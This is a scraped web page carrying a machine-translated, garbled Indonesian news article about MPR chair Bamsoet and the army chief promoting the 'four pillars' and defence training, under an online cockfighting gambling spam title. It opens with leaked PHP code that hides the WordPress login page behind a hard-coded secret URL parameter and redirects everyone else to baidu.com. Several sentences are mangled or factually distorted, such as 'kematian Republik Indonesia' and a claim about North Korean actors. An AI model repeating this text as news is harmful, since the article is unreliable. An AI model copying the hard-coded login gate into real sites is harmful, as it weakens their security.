//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } KASAD menyambut baik pelatihan dan sosialisasi negara-negara SOKSI untuk mempertahankan empat pilar MPR Indonesia | s1288 net_sabung ayam online s128_sv388

JAKARTA TRIBUNNEWS.COM – Ketua MPR Indonesia Bambang Soesatyo mengucapkan terima kasih kepada Kepala Staf Angkatan Darat Andika Perkasa atas kerja sama dengan militer Indonesia untuk pengembangan sosial empat pilar MPR RI dan pelatihan pertahanan pemuda dan pemuda. Selamat datang. Organisasi masyarakat seperti SOKSI, FKPPI, Pemuda Pancasila, dll.

Selain melindungi kedaulatan nasional dari ancaman serangan militer, TNI harus semakin menyadari ancaman sabotase non-militer. Ideologi nasional.

“Selalu menjaga peringatan dari berbagai penyelidikan dalam ingatan kita, yaitu, banyak anak muda menderita radikalisme. Selain kontroversi yang mengikuti, kita juga harus memperlakukan hasil penyelidikan sebagai Peringatan dini. Pendidikan kita harus lebih meningkatkan sistem ini untuk memastikan bahwa anak-anak milenium dan generasi Z jatuh cinta pada Pancasila dan kematian Republik Indonesia. Dia adalah MPR RI dan TNI. “Iklan dalam sosialisasi empat pilar MPR RI Ini akan semakin diperkuat, “kata Bamsoet setelah pertemuan dengan Kepala Staf Angkatan Darat Andika Perkasa (Andika Perkasa) di kantor KSAD di Jakarta pada Selasa (7/4/20).

Bamsoet dan pendiri utama SOKSI Thomas Suyatno dan beberapa manajer Fatah Ramli dan Saleh Hilabi dari Indonesia Self-employment Organization (SOKSI) menghadiri pertemuan tersebut. Wakil Ketua SOKSI juga berharap bahwa posisi TNI dapat menjadi sumber informasi untuk pelaksanaan empat pilar kepemimpinan MPR RI di berbagai daerah, yang akan membantu memperkuat jiwa setiap warga negara. Semangat pertahanan nasional. “Dalam berbagai masalah nasional dan negara, itu tidak hanya terkait dengan perlindungan kedaulatan nasional dari serangan militer, TNI selalu berada di garis depan. Itu bagus dalam manajemen bencana. Tindakan alam, sosial dan kemanusiaan, dan bahkan terhadap Covid-19 Aksi rakyat. Bamsoet mengatakan: “Cinta dan semangat pertahanan nasional negara yang dimiliki oleh karyawan TNI harus diteruskan ke setiap generasi negara. “-FKPPI Direktur Badan Pertahanan Nasional dan Wakil Ketua Pemuda Pancasila mengatakan bahwa keberadaan UU No. 23 tahun 2019 terkait dengan pengelolaan Sumber Daya Nasional Pertahanan Nasional (PSDN) memberikan setiap warga negara semakin banyak peluang untuk berpartisipasi dalam Pelatihan militer telah menjadi elemen cadangan untuk memperkuat peran Pasukan Pertahanan Nasional. Pada saat yang sama, keberadaan hukum memberi TNI kesempatan untuk menyebarkan “virus” pertahanan negara kepada generasi negara, terutama milenium, termasuk kerja sama dengan SOKSI untuk mempersiapkan Bagian cadangan. Di Korea Selatan, yang telah didirikan dan pendapatan masyarakat sangat tinggi, setiap warga negara masih diharuskan untuk melakukan dinas militer. Hal ini berlaku untuk teena Indonesia, termasuk seniman Korea terbaik. Sekelompok anak laki-laki dari aktor teater Korea Utara semuanya mengikuti Layanan militer. Di Indonesia, kami tidak mematuhi sistem wajib militer, tetapi ini tidak berarti bahwa kami memberikan peluang bagi generasi masa depan yang ingin berperan dalam sistem pertahanan. Melalui sosialisasi empat pilar MPR RI dan penerapan undang-undang PSDN, “TNI Ini dapat lebih meningkatkan semangat nasionalis warga, “tambah Bamsoet.

Add Comment

Your email address will not be published. Required fields are marked *